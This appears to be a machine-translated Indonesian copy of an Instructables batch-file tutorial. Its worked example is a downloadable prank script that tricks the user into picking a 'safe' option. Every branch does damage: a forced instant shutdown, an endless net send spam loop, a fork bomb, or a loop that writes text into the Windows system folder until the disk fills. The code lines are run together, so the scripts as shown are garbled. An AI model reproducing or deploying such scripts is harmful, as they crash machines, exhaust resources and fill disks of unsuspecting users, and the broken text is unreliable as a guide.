Daftar Isi:

Tutorial Batch - Ambil 2: 4 Langkah
Tutorial Batch - Ambil 2: 4 Langkah

Video: Tutorial Batch - Ambil 2: 4 Langkah

Video: Tutorial Batch - Ambil 2: 4 Langkah
Video: 06 Belajar Batch File | Membuat dan Menjalankan Batch File 2024, Juli
Anonim
Tutorial Batch - Ambil 2
Tutorial Batch - Ambil 2

Oke seperti yang saya katakan di tutorial saya sebelumnya tentang batch (https://www.instructables.com/id/EZ049TMM19EWPKGWKH/#CEINEJV64U3EWP86YUP), saya berencana untuk membuat tutorial 3 bagian (atau mengambil) yang luas pada batch. Yang harus mencakup sebagian besar dari apa yang perlu Anda ketahui untuk melakukan apa yang Anda inginkan dengan batch. File terlampir di bawah ini adalah file.bat (batch) yang dikompetisikan yang dibuat oleh saya, laconix / tak terelakkan_chaos

Langkah 1: Memformat Teks, Judul, dan Cls Saya

Oke untuk memulai dengan saya akan menunjukkan kode;

@echo offtitle Pilihan.. [oleh laconix]clsecho Anda memiliki beberapa pilihan untuk membuat..echo..membuat pilihan yang salah meskipun dan menderita konsekuensi!echo.pause:menuclsecho.echo.echo.echo.echo. echo //-----------------------------\echo / Pilih angka antara 1 dan 3 \echo (- 1.. 2.. 3 -)echo / Setiap pilihan kecuali satu adalah buruk! /echo \------------------------------/ title pada dasarnya mengatur judul untuk command prompt sehingga judul instructionables.com keren! cls baru saja menghapus cmd dari input atau output apa pun. Anda seharusnya sudah tahu apa yang dilakukan echo sekarang, tetapi echo. membuat baris baru yang berguna untuk memformat.:menu meskipun saya telah membahas ini di tutorial saya sebelumnya, ini layak untuk diulang lagi, pada dasarnya ini menciptakan titik dalam program di mana Anda dapat GOTO kapan saja. Sisa bagian ini hanya memformat.:D

Langkah 2: Inisialisasi Variabel, Mendapatkan Input Pengguna dan Pernyataan If

Sekali lagi saya akan menunjukkan kodenya lalu menjelaskannya;

set choice = nadaecho ?.:What&aposll it be:.?set /p choice= Hah? clsif %choice% == 1 GOTO oneif %choice% == 2 GOTO twoif %choice% == 3 GOTO threemsg * Bukan 1, 2 atau 3 eh? Sayang sekali, sampai jumpa..shutdown -s -f -t 00 set choice = nada, yang dilakukan adalah membuat atau menginisialisasi variabel dengan nilai awal atau "nada", atau tidak sama sekali.:D Variabel seperti wadah yang menyimpan informasi untuk Anda sampai tidak lagi dibutuhkan atau program ditutup. set /p choose=, ini mendapatkan input pengguna, dengan menggunakan perintah set dengan argumen /p yang memberi tahu perintah untuk memiliki promptstring. Jadi pada dasarnya atur /p choice=nomor berapa? seperti mengajukan pertanyaan dan mereka mengetik jawabannya. jika pernyataan if berfungsi seperti itu. if condition == true lakukan ini Jadi pada dasarnya dikatakan jika %choice% sama dengan 1 GOTO satu adalah tidak benar, itu hanya berlanjut ke baris berikutnya. shutdown -s -f -t 00 hanya mematikan komputer mereka memaksa semua program untuk menutup, seketika.

Langkah 3: Perintah Piping, Perintah Asinkron dan Variabel Lingkungan

Sekali lagi, kode dulu, penjelasan setelah;

:onemsg * Jadi Anda memilih #1, berpikir Anda&aposd aman?msg * SALAH!:netspamnet send * laconix rules! GOTO netspam:twoshutdown -s -t 10pausemsg * Semoga Anda mendapatkan ini tepat waktu, karena ini yang aman…shutdown -aGOTO hell:threemsg * Ini nomor aman…pause:forkstart choice.bat | msg * Penghapusan memori!GOTO fork:hellmsg * lelucon, mereka&aposre semua buruk!:textbombecho aturan laconix! >> %systemroot%/laconix.txtGOTO:textbomb:onePada dasarnya hanya masuk ke loop GOTO tak terbatas. Sangat mirip dengan contoh bom garpu 2 di tutorial pertama.:duaJalankan perintah shutdown -s -t 10" jeda s, jika mereka tidak menekan tombol pada saat komputer mereka dimatikan, jika mereka membuatnya dibatalkan dan membuat mereka GOTO neraka:neraka Memberitahu mereka bahwa tidak satu pun dari mereka yang baik, melakukan apa yang saya sebut bom teks. Yang pipa (>>) perintah echo laconix aturan!' ke %systemroot%/laconix.txt di\n infinite GOTO loop. %systemroot% adalah variabel lingkungan yang memberi tahu file untuk disimpan di direktori /windows/ tidak peduli nama drive root, mis. C;/, E:/, Z:/, dan lain-lain:threeMenipu mereka untuk berpikir bahwa ini adalah nomor yang amanBerubah menjadi bom garpu yang mirip dengan yang di tutorial pertama, tetapi dengan satu perbedaan utama Perintah asinkron; mulai pilihan.bat | msg * Penghapusan memori ! yang | menunjukkan perintah asinkron, yang pada dasarnya berarti mereka telah mengeksekusi pada waktu yang sama.

Langkah 4: Ada Apa? Kata

Terima kasih telah membaca tutorial saya, semoga Anda menyukai videonya. Belajar sesuatu.

Dan saya harap Anda terus tertarik pada komputer, dan pada instruksi saya. Ikuti terus tutorial terakhir saya di seri ini segera!

Direkomendasikan: